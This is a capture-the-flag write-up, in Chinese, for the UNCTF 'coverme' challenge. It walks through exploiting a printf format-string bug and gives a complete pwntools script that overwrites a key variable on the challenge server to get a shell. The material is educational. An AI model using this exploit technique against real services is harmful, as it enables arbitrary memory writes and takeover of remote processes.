UNCTF:coverme(覆蓋任意地址內存 )

查詢一下文件信息:

開啓了NX(棧不可執行)和cannary(棧溢出檢測):

 

 

使用IDA PRO查看一下程序流程:

 

 

沒有發現棧溢出,但是在printf處有字符串格式化漏洞

分析得到要使用字符串格式化漏洞去修改key的值然後去執行getshell

 

想要覆蓋任意地址要滿足以下幾個條件:

1.要覆蓋的地址

2.確定偏移(s是printf的第幾個參數或者s在格式字符串中是第幾個參數)

 

IDA PRO中查找key對應的地址:0804A030

 

 

尋找偏移

使用[tag]%p%p%p%p%p%p...去尋找偏移

 

計算得到s在格式字符串中是第7參數(printf函數的第8個參數)

 

注意:這裏的key值是一個dd類型的數據(雙字,4字節),而要比較的是一個8字節,所以要用到覆蓋大數字的技巧(參考結尾的鏈接)

 

EXP

#! /usr/bin/env python
from pwn import *

def fmt(prev, word, index):
    if prev < word:
        result = word - prev
        fmtstr = "%" + str(result) + "c"
    elif prev == word:
        result = 0
    else:
        result = 256 + word - prev
        fmtstr = "%" + str(result) + "c"
    fmtstr += "%" + str(index) + "$hhn"
    return fmtstr


    /**
    offset 表示要覆蓋的地址最初的偏移(格式字符串的第n個參數)
    size 表示機器字長
    addr 表示將要覆蓋的地址。
    target 表示我們要覆蓋爲的目的變量值。
    **/


def fmt_str(offset, size, addr, target):
    payload = ""
    for i in range(4):
        if size == 4:
            payload += p32(addr + i)
        else:
            payload += p64(addr + i)
    prev = len(payload)
    for i in range(4):
        payload += fmt(prev, (target >> i * 8) & 0xff, offset + i)
        prev = (target >> i * 8) & 0xff
    return payload



def forb():
    #sh = process('./coverme')
    sh=remote('120.79.17.251',10011)
    payload = fmt_str(7, 4, 0x0804A030, 0x5201314)
    #gdb.attach(sh)
    sh.sendline(payload)
    sh.recv()
    sh.interactive()
    
forb()

 

 

參考:https://ctf-wiki.github.io/ctf-wiki/pwn/linux/fmtstr/fmtstr_exploit-zh/(任意地址覆蓋->覆蓋大數字)

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章